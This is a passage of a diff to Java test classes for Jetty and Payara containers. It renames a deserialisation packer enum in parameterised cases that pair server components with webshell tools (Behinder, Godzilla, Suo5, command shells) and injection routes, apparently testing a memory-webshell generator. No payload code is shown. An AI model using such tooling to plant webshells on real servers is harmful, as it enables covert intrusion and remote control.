arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Jetty93ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Jetty94ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -42,40 +42,40 @@ public class Payara5201ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine)
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
+12
-12
@@ -42,29 +42,29 @@ public class Payara520225ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize)
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+12
-12
@@ -42,29 +42,29 @@ public class Payara620222ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
